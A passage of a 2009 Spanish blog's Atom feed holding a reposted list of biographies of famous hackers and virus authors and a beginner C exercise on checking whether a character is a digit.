type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=7375964402351652571' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7375964402351652571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7375964402351652571'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/04/gnulinux-mitos-y-leyendas.html' title='GNU/Linux: Mitos y leyendas'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-7989824319667326040</id><published>2009-04-01T10:45:00.001-06:00</published><updated>2009-04-01T10:45:12.820-06:00</updated><title type='text'>Hackers</title><content type='html'>&lt;b&gt;Estos son los hackers mas famosos de los ultimos años&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;img src="http://i37.tinypic.com/27x1ffl.jpg" alt="" border="0"&gt;&lt;br&gt;&lt;br&gt;&lt;b&gt;Robert Tappan Morris &lt;/b&gt;hijo de Robert Thomas Morris uno de los precursores de los virus y recién graduado en Computer Science en la Universidad de Cornell, en 1988 difundió un virus a través de ArpaNet, (precursora de Internet) logrando infectar 6,000 servidores conectados a la red. La propagación la realizó desde uno de los terminales del MIT (Instituto Tecnológico de Massachussets). ArpaNet empleaba el UNIX, como sistema operativo. Robert Tappan Morris al ser descubierto, fue enjuiciado y condenado en la corte de Syracuse, estado de Nueva York, a 4 años de prisión y el pago de US $ 10,000 de multa, pena que fue conmutada a libertad bajo palabra y condenado a cumplir 400 horas de trabajo comunitario.&lt;br&gt;&lt;br&gt;&lt;img src="http://i35.tinypic.com/263g6yb.jpg" alt="" border="0"&gt;&lt;br&gt;&lt;b&gt;Kevin David Mitnick &lt;/b&gt;es el más famoso hackers de los últimos tiempos. Nacido el 6 de Agosto de 1963 en Van Nuts, California, desde muy niño sintió curiosidad por los sistemas de comunicación electrónica y fue cultivando un obsesivo deseo por investigar cosas y lograr objetivos aparentemente imposibles, hasta llegar a poseer una genial habilidad para ingresar a servidores sin autorización, robar información, interceptar teléfonos, crear virus, etc. Cuando en 1992 el gobierno acusó a Kevin de haber substraído información del FBI, relacionada a la investigación de Ferdinand Marcos y de haber penetrado en computadoras militares, el se convirtió en un símbolo entre la comunidad internacional de hackers, después de que el FBI lo investigara y persiguiera infructuosamente durante tres años, y cuya captura se produjo en 1995, cuando los investigadores rastrearon sus huellas hasta llegar a un departamento en Raleigh, en Carolina del Norte. Mitnick fue arrestado por el FBI en Raleigh, North Carolina, el 15 de Febrero de 1995. Mitnick, quién fue liberado en Enero del 2000, después de permanecer casi 5 años en un prisión federal, le costó al estado norteamericano y a empresas privadas, millones de dólares al ser objeto de hurto de su software, información y alteración de los datos de las mismas. Entre los agraviados se incluyen corporaciones tales como Motorola, Novell, Nokia y Sun Microsystems, el FBI, el Pentágono y la Universidad de Southern California.&lt;br&gt;&lt;br&gt;&lt;img src="http://i38.tinypic.com/10p3aci.jpg" alt="" border="0"&gt;&lt;br&gt;&lt;b&gt;Mark Abene &lt;/b&gt;más conocido como Phiber Optik, con tan solo 17 años se convirtió en un genio de la computación y de la tecnología telefónica. Lasprimeras computadoras usadas por Abene fueron una Apple II, la Timex Sinclair y una Commodore 64. Aunque el primer equipo de Mark fue una Radio Shack TSR 80, también tenía un receptor telefónico tantas veces usado, que tenía una cinta plástica enrrollada para sostener sus partes internas, desgastadas por el excesivo uso. Mark Abene era un experto en patrones de discado en receptores telefónicos. Lideró en New York, al grupo de hackers denominado &amp;quot;Master of Deception&amp;quot;, MOD (Maestros de la Decepción). En Noviembre de 1989, hizo colapsar las computadoras de WNET, uno de los principales canales de televisión de la ciudad de New York, dejando un mensaje &amp;quot;Happy Thanksgiving you turkeys, from all of us at MOD&amp;quot; (Feliz Día de Acción de Gracias a Uds. pavos, de parte de todos nosotros en MOD). Una revista de New York lo catalogó, como &amp;quot;una de las 100 personas más inteligentes de la nación&amp;quot;. En Julio de 1992, Abene y cuatro miembros de MOD fueron arrestados por una serie de cargos criminales. Abene se declaró culpable de los cargos federales de acceso desautorizado a computadoras de la compañia de teléfonos, incursión a computadoras y conspiración. Mark Abene pasó 10 meses en la prisión del condado Schuylkill de Pennsylvania, donde recibió tantas visitas y concedió entrevistas a periodistas y reporteros de canales de televisión, que sus compañeros de celda los apodaron CNN. Al negársele el uso de una computadora mientras estuvo en prisión, Mark Abene se convirtió en un héroe muy popular. Al salir en libertad fue empleado por su amigo Stacy Horn, del BBS denominado ECHO. Las hazañas de Abene le dieron tanta fama, que inspiraron a Michelle Slatalla y Joshua Quittne a escribir un libro titulado &amp;quot;The Gang That Ruled Cyberspace&amp;quot; (La Banda que dominó el Ciberespacio).&lt;br&gt;&lt;br&gt;&lt;img src="http://i38.tinypic.com/23tjcp1.jpg" alt="" border="0"&gt;&lt;br&gt;&lt;b&gt;Johan Helsingius &lt;/b&gt;Responsable de uno de los más famosos servidores de mail anónimo. Fue preso por recusarse a dar información sobre un acceso que publicó documentos secretos de Church of Scientology en Internet. Tenía para eso un 486 con HD de 200Mb, y nunca preciso usar su propio servidor. El objetivo de un remailer anónimo es proteger la identidad del usuario. El servidor Remailer, no almacena los mensajes sino que sirve como un canal de re-transmisión de los mismos. El Remailer re-envía estos mensajes, sin dar a conocer la identidad del remitente original.&lt;br&gt;&lt;br&gt;&lt;img src="http://i33.tinypic.com/2elusmd.jpg" alt="" border="0"&gt;&lt;br&gt;&lt;b&gt;Chen Ing-Hou&lt;/b&gt; es el creador del virus CIH, que lleva sus propias iniciales. Manifiesta que siente mucho por los graves daños causados por su creación viral, pero que ello fue motivado por una venganza en contra de los que llamó &amp;quot;incompetentes desarrolladores de software antivirus&amp;quot;. Chen Ing-Hou nació en la ciudad de Kaohsiung, Taipei o Taibei, capital y principal ciudad de Taiwan, y creó su famoso virus en Mayo de 1998, al cual denominó Chernobyl, en conmemoración del 13 aniversario de la tragedia ocurrida en la planta nuclear rusa. Actualmente trabaja como experto en Internet Data Security.&lt;br&gt;&lt;br&gt;&lt;img src="http://i38.tinypic.com/20aosr9.jpg" alt="" border="0"&gt;&lt;br&gt;&lt;b&gt;Sir Dystic&lt;/b&gt; es el hacker autor del programa original Back Orifice, lanzado en 1998, da a conocer el lanzamiento de su nueva versión para Windows 2000 y NT. El primer lanzamiento de su sistema Back Orifice fue infectado con el virus CHI y ello dio motivo a que Sir Dystic anunciara que desarrollaría un antivirus denominado CDC Protector y otro que protegería a los sistema de los troyanos, denominado CDC Monitor.&lt;br&gt;&lt;br&gt;&lt;img src="http://i37.tinypic.com/mcadg4.jpg" alt="" border="0"&gt;&lt;br&gt;&lt;b&gt;David L. Smith&lt;/b&gt; el 8 de Abril de 1999, David L. Smith, de 30 años, natural de Aberdeen, New Jersey y sospechoso de ser el autor del virus Melissa hizo su primera aparición en público en la Corte Superior del condado de Monmouth para escuchar las acusaciones en su contra. Smith permaneció silencioso y cabizbajo cuando escuchó los cargos. Ante el Juez John Riccardi David Smith dijo: &amp;quot;Sí, yo admito esos sucesos ocurridos como resultado de la propagación del virus Melissa. Pero yo no esperaba o anticipé la enorme cantidad de daño que ocasionó. Cuando difundí el virus yo supuse que algún daño material sería menor e incidental. De hecho, yo incluí instrucciones diseñadas para prevenir un daño substancial. No tuve idea de que habrían profundas consecuencias en contra de otros&amp;quot;.&lt;br&gt;&lt;br&gt;&lt;img src="http://i33.tinypic.com/euj80l.jpg" alt="" border="0"&gt;&lt;br&gt;&lt;b&gt;Reonel Ramones&lt;/b&gt; de 27 años, empleado bancario, quien vivía con su hermana y su novia Irene de Guzmán de 23, fueron acusados de ser los autores del virus LoveLetter, el mismo que según algunas evidencias, habría empezado como un conjunto de rutinas para penetrar en otros sistemas, con el objeto de sustraer la información de tarjetas de crédito de terceros. Las evidencias apuntaron a Reonel Ramonez, como cabeza del grupo que participó en la creación y difusión de este virus. Una corporación holandesa lo contrató con un sueldo muy atractivo, por considerarlo muy hábil y capaz en el desarrollo de sistemas de seguridad en Redes e Internet.&lt;br&gt;&lt;br&gt;&lt;img src="http://i36.tinypic.com/2urp743.jpg" alt="" border="0"&gt;&lt;br&gt;&lt;b&gt;Vladimir Levin &lt;/b&gt;graduado en matemáticas de la Universidad Tecnológica de San Petesburgo, Rusia, fue acusado y preso por la Interpol después de meses de investigación por ser la mente maestra de una serie de fraudes tecnológicos que le permitieron a él y la banda que conformaba, substraer más de 10 millones de dólares, de cuentas corporativas del Citibank. Insiste en la idea de que uno de los abogados contratado para defenderlo es, en verdad, un agente del FBI. A pesar de que la banda substrajo más de 10 millones de dólares al Citibank, Levin fue sentenciado a 3 años de prisión y a pagar la suma de US $ 240,015 a favor del Citibank, ya que las compañías de seguros habían cubierto los montos de las corporaciones agraviadas.Los técnicos tuvieron que mejorar sus sistemas de seguridad contra &amp;quot;crackers&amp;quot; y Vladimir Levin ahora se encuentra en libertad.&lt;br&gt;&lt;br&gt;&lt;img src="http://i34.tinypic.com/f1jszp.jpg" alt="" border="0"&gt;&lt;br&gt;&lt;b&gt;Robert &amp;quot;Pimpshiz&amp;quot; Lyttle&lt;/b&gt; de 18 años de edad, se encuentra bajo arresto domiciliario, por orden de una Corte Juvenil de ciudad Martinez, estado de California, acusado de ser uno de los miembros del grupo Deceptive Duo, que probadamente incursionaron ilegalmente y substrajeron información de los servidores del sistema de la Federal Aviation Administration de los Estados Unidos y descargaron información confidencial relacionada a las filmaciones de las actividades de los pasajeros de los aeropuertos. Al momento de su arresto Lyttle portaba una portátil IBM ThinkPad, un lector de huellas digitales del dedo pulgar y otros sofisticados dispositivos &amp;quot;The Deceptive Duo&amp;quot; (El dúo engañoso) ingresaron a un servidor de la FAA, empleado por la administración de Seguridad de la Aviación Civil de los Estados Unidos, encargada a partir de los fatídicos incidentes del pasado 11 de Septiembre del 2001, del monitoreo de las actividades de los pasajeros en todos los aeropuertos de ese país. Cada sitio web incursionado por estos hackers, mostraba una supuesta &amp;quot;patriótica misión&amp;quot; en la cual preconizaban ser ciudadanos de los Estados Unidos de América, determinados a salvar al país de una &amp;quot;amenaza extranjera&amp;quot; al exponer los huecos de inseguridad en Internet. Incluso incluyeron el logo del grupo, consistente en dos armas de fuego delante de una bandera norteamericana. Cabe mencionar que Robert Lyttle, siendo un joven adolescente, de apenas 14 años formó la corporación Sub-Seven Software, que desarrolló herramientas tales como el Troyano buscador de puertos Sub-Net, el desinstalador Uninstall it Pro y Define, entre otros y que muchos usuarios consideramos de gran utilidad. Posiblemente se convierta en un héroe del &amp;quot;underground&amp;quot; en el ciber-espacio. En Febrero del 2002 descubrió una vulnerabilidad en el AOL Instant Messenger, y mucho antes hizo lo propio con varios sistemas de Microsoft.&lt;br&gt;&lt;br&gt;&lt;img src="http://i36.tinypic.com/2ds2ubl.jpg" alt="" border="0"&gt;&lt;br&gt;&lt;b&gt;Adrian Lamo &lt;/b&gt;Este joven de 21 años manifiesta que está ayudando a las compañías y a los usuarios a entender los límites de la seguridad en Internet, aunque sus métodos alarmen a los gigantes del medio.Famoso por no tener hogar, duerme en obras de construción, cerca de Ben Franklin en Philadelphia. Lleva siempre consigo una laptop Toshiba y un celular, pero case siempre navega en computadoras públicas con conexión del Internet, trabaja temporalmente como consultor (freelance) de seguridad, a pedido de corporaciones. Hace unos años, Lamo se hizo conocido en los círculos de hackers al haber ingresado en las redes de America on Line, Yahoo y Worldcom, informando a sus administradores la forma cómo lo hizo. Los propios administradores lo han llamado brillante y &amp;quot;provechoso&amp;quot; por descubrir estos huecos en sus redes.&lt;br&gt;&lt;br&gt;&lt;img src="http://i36.tinypic.com/x0pe6w.jpg" alt="" border="0"&gt;&lt;br&gt;&lt;b&gt;El Gran Oscarín&lt;/b&gt; hacker español de 27 años, autor del troyano Cabronator, las iniciales son O.L.H y que en los primeros días de Abril del 2003 fue detenido por la Guardia Civil de Española, en un operativo denominado CLON que se inició en Agosto del 2002. Su impresionante ego está casi a la par con sus prolíficas creaciones de todas sus herramientas de hacking y cracking, virus, juegos obscenos, etc. Lycos Mail Anegator &amp;quot;...Bombardea cuentas de lycos a base de e-mails. MSN-Phuk &amp;quot;...Carga cuentas de Hotmail ajenas&amp;quot;Psecreta &amp;quot;Lo que hace es averiguar la pregunta secreta que ponen los capullos de los usuarios de HOTMAIL &amp;quot;O-MaiL 1.00: ...&amp;quot;Programa para enviar e-mails anónimos a la basca&amp;quot;Chivator Con este programa puedes ver qué se esconde bajo esos misteriosos ******* que ponen los programas l3ims en sus contraseñasBOMBITA: ...&amp;quot;es un programa de envío masivo de e-mails&amp;quot;ANONIMIZAME: ...&amp;quot;Un programa que configura tu Internet Explorer para que navegues por internet de forma ANÓNIMA bajo un proxy&amp;quot;&lt;br&gt;&lt;br&gt;&lt;img src="http://i37.tinypic.com/255jcqc.jpg" alt="" border="0"&gt;&lt;br&gt;&lt;b&gt;Tsutomu Shimomura &lt;/b&gt;Shimomura buscó lo encontró y desenmascaro a Kevin Mitnick, el cracker/phreaker más famoso de USA, a principios de 1994. Después de que sus colegas del &amp;quot;San Diego Supercomputing Center&amp;quot; le informaron a Shimomura que alguien había robado centenares de programas y los ficheros de su estación de trabajo, el experto en seguridad computacional Tsutomu trabajó en extremo para seguir al ladrón a través del &amp;quot;WELL&amp;quot;. Un rastro del &amp;quot;telco labyrinthine&amp;quot; lo condujo eventualmente a un complejo en Raleigh, N.C donde más tarde los agentes de FBI arrestarían a Mitnick en su departamento. Pero eso no fue todo, Shimomura fue el consultor del FBI, la fuerza aérea y de la agencia de la seguridad nacional (NSA). se rumorea que Shimomura era parte del lado oscuro del hacking. ya que si no ¿por que hizo un programa para escuchar las llamadas de teléfonos celulares? ¿No les suena de alguna manera como una treta de la NSA?&lt;br&gt;&lt;br&gt;&lt;img src="http://i36.tinypic.com/qot5cz.jpg" alt="" border="0"&gt;&lt;br&gt;&lt;b&gt;Justin Frankel &lt;/b&gt;comenzó cuando en 1.999, con apenas 19 años de edad vendió su empresa NullSoft, propietaria de WinAmp, a AOL por 100 millones de dólares.Durante ese tiempo y ya trabajando bajo las órdenes de AOL, Frankel, con 25 años en la actualidad, ha sido el artífice de la red descentralizada Gnutella, del sistema de streaming Shoutcast y del programa de pares Waste, lo cual y según la revista Rolling Stone le ha hecho merecedor del título del &amp;quot;Geek más peligroso del mundo&amp;quot;. Mientras trabajaba bajo las órdenes de AOL, Frankel creó Gnutella, la primera red de pares descentralizada del mundo, que colgó en uno de los servidores de la compañía cogiendo a todo el mundo por sorpresa.A las pocas horas el programa fue retirado, pero había dado tiempo suficiente de que miles de personas lo descargaran y aprendiesen de su código fuente.Sin ningún género de dudas, Frankel es un programador prodigioso, pero demasiado incómodo para trabajar a las órdenes de una compañía como AOL. Ahora, libre y con dinero suficiente como para tan no tener que preocuparse en ganarlo, puede ser una auténtica bomba de relojería.&lt;br&gt;&lt;br&gt;&lt;img src="http://i36.tinypic.com/r0z3ma.jpg" alt="" border="0"&gt;&lt;br&gt;&lt;b&gt;Ray Tomilson&lt;/b&gt; Hace treinta y dos años en 1971, Ray Tomlinson, un joven ingeniero de la firma Bolt Beranek and Newman (encargada de construir la Arpanet, la red de computadoras precursora de la Internet),se puso a trabajar en el desarrollo del SNDMSG, un programa para enviar mensajes a usuarios de una misma computadora. Tomlinson estaba experimentando con un programa que había escrito, el CPYNET, que permitía transferir archivos entre computadoras (en ese entonces, la Arpanet consistía de 23 computadoras en 15 sitios de los Estados Unidos). Se le ocurrió que así como alguien podía enviar un mensaje a un usuario de la misma computadora, también debería poder hacerlo con los científicos que usaban equipos en todo el país. Ese día fue cuando decidió incorporar al CPYNET en el SNDMSG (en total, unas 200 líneas de código) para que todos pudieran agregar texto al archivo-casilla de cualquier usuario de la Arpanet. Tomlinson quería diferenciar el nombre del usuario de la computadora en la que trabajaba, y eligió la arroba @, que en inglés significa at (en tal lugar). El signo tenía poco uso en ese entonces, y no se confundía con otras instrucciones. Una vez que ajustó el funcionamiento del software, Tomlinson le envió un mensaje a sus colegas, promocionando el sistema. Fue un pequeño éxito. Todos los que tenían acceso a la red comenzaron a usarlo. Dos años después, el 75% del tráfico de la Arpanet correspondía al e-mail. Hoy se envían 2100 millones de mensajes por día.&lt;br&gt;&lt;br&gt;Fuente &lt;a href="http://new.taringa.net/posts/1606796" target="_blank" class="posted"&gt;http://new.taringa.net/posts/1606796&lt;/a&gt;&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt; &lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-7989824319667326040?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/7989824319667326040/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=7989824319667326040' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7989824319667326040'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7989824319667326040'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/04/hackers.html' title='Hackers'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i37.tinypic.com/27x1ffl_th.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-3906968390470425587</id><published>2009-03-31T11:07:00.001-06:00</published><updated>2009-03-31T11:07:32.076-06:00</updated><title type='text'>[C] digit "Determinacion si un caracter es Digito o no"</title><content type='html'>6.1 Escriba una función dígito que determine si un carácter es uno de los dígitos 0,1,2,...9.&lt;br&gt;&lt;br&gt;El problema anterior se me hace una perdida de tiempo estaremos reinventando la rueda toda la vida con este tipo de ejercicios tan estúpidos o que onda.&lt;br&gt;   &lt;br&gt;En la librería ctype.h se encuentra ya esa función pre programada como &lt;b&gt;isdigit()&lt;/b&gt;&lt;br&gt;&lt;br&gt;Descargar &lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/src/Ejercicios/digit.c"&gt;digit.c&lt;/a&gt;&lt;br&gt; &lt;pre class="geshi"&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;&lt;br&gt;#include&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include&amp;lt;ctype.h&amp;gt;&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; main&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt; 	&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; c;&lt;br&gt;	&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;Ingrese un digito: &amp;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; 	&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;isdigit&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;getchar&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt; 		&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;Si es digito!&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; 	&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;	&lt;span style="color: rgb(177, 177, 0);"&gt;else&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;		&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;No es digito!&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; 	&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;	&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;/pre&gt;Ahora aqui la muestra con una función tal y como dice el ejercicio en este ejemplo con if&lt;br&gt; &lt;br&gt;Descargar &lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/src/Ejercicios/digit%7C_funtion01.c"&gt;digit_funtion01.c&lt;/a&gt;&lt;br&gt;&lt;pre class="geshi"&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br&gt;  &lt;br&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; esdigito&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; main&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt; 	&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; c;&lt;br&gt;	&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;Ingrese un digito: &amp;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; 	&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;esdigito&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;getchar&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt; 		&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;Si es digito!&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; 	&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;	&lt;span style="color: rgb(177, 177, 0);"&gt;else&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;		&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;No es digito!&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt; 	&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;	&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; esdigito&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; c&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt; 	&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;c&amp;gt;&lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;#39;0&amp;#39;&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;&amp;amp;&amp;amp;&lt;/span&gt; c&amp;lt;&lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;#39;9&amp;#39;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;br&gt; 		&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;;&lt;br&gt;	&lt;span style="color: rgb(177, 177, 0);"&gt;else&lt;/span&gt;&lt;br&gt;		&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br&gt;Y Ahora lo mismo pero en lugar de if seria Operador Ternario&lt;br&gt;&lt;br&gt;Descargar &lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/src/Ejercicios/digit%7C_funtion02.c"&gt;digit_funtion02.c&lt;/a&gt;&lt;br&gt; &lt;br&gt;&lt;pre class="geshi"&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; esdigito&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;  &lt;br&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; main&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;	&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; c;&lt;br&gt; 	&lt;a 